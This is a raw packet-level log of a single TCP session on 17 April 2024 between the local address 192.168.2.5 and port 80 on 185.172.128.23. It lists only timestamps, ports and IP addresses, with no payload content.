Apr 17, 2024 09:17:12.919285059 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.919312954 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.919325113 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.919342041 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.919389009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920269012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920336008 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920344114 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920356035 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920376062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920377016 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920396090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920398951 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920413017 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920429945 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920433044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920440912 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920460939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920471907 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920475006 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920494080 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920514107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920519114 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920528889 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920532942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920552015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920557022 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920569897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920582056 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920600891 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920613050 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920655966 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920674086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920691013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920698881 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920710087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920722008 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920742035 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920751095 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920788050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920805931 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920826912 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.920970917 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.920989037 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921005964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921010017 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921024084 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921030998 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921040058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921053886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921056986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921077013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921077967 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921103954 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921122074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921145916 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921166897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921184063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921201944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921209097 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921233892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921248913 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921303988 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921344042 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921701908 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921729088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921747923 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921751976 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921766043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921775103 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921786070 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921797991 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921806097 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921808004 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921824932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921829939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921847105 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921849966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921859980 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921879053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921890020 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921906948 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921925068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921943903 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921950102 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921961069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.921977997 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.921978951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.922023058 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.922030926 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.922048092 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.922065020 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.922081947 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.922086000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.922099113 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.922101021 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.922121048 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.922149897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.931957006 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.931984901 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.932018042 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.932054996 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.940460920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.940517902 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.978441954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.978518009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.978681087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.978744984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.978745937 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.978791952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.978847980 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.978868008 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.978907108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.978919029 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.978946924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.978965044 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.978992939 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.979001045 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.979037046 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.979074001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.979085922 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.979115009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.979115009 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.979161024 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.981143951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.981214046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.981928110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.981992960 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.981998920 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.982036114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.982040882 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.982076883 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.982088089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.982129097 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.984680891 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.984723091 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.984736919 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.984776020 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.984893084 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.984930992 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.984947920 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.984987974 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.985016108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.985057116 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.985079050 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.985104084 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.985116005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.985167980 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.985183954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.985238075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.985284090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.985323906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.985337973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.985368013 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.985449076 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.985501051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.985527039 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.985574961 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.985579014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.985624075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.985635042 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.985681057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.985717058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.985757113 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.985766888 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.985795975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.985809088 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.985847950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.985913038 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.985959053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.985991001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986042976 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986057997 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986114025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986197948 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986205101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986215115 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986243010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986255884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986320972 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986332893 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986360073 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986371994 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986397028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986407995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986438036 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986449003 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986476898 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986486912 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986515045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986526012 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986552954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986562967 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986592054 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986602068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986630917 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986640930 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986669064 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986680031 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986706972 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986718893 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986743927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986756086 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986780882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986793995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986819029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986829996 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986859083 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986869097 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986898899 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986907959 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986938000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986947060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.986977100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.986988068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987015963 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987025976 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987056017 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987066031 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987093925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987106085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987133026 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987143040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987170935 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987183094 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987207890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987219095 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987247944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987258911 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987287045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987298012 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987324953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987335920 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987363100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987374067 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987401009 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987411022 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987438917 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987448931 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987478018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987488031 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987531900 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987543106 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987569094 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987581968 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987607002 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987617970 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987683058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987693071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987721920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987731934 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987761021 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987772942 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987798929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987808943 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987837076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987837076 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987873077 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987880945 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987910986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987919092 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987951040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.987957954 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.987988949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.988001108 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.988029957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.988075972 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.988931894 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.989042997 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:12.989125967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:12.989185095 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.016372919 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.016443014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.026871920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.026931047 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.026940107 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.026969910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.026983023 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.027014017 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.027017117 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.027053118 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.027057886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.027091980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.027103901 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.027131081 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.027154922 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.027228117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.027247906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.027271986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.027293921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.027312994 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.027317047 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.027410984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.029741049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.029804945 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.029825926 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.029865980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.029875040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.029921055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.029947996 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.029984951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.030003071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.030030012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.030119896 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.030131102 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.030157089 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.030178070 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.030194044 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.030210018 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.030217886 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.030245066 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.030256987 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.030262947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.030294895 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.030320883 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.030340910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.030348063 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.030381918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.030389071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.030420065 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.030428886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.030459881 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.030466080 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.030564070 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.045753956 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.045823097 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.058048010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.058110952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.058121920 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.058154106 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:13.058165073 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.058204889 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:13.059205055 CEST	80	49704	185.172.128.23	192.168.2.5
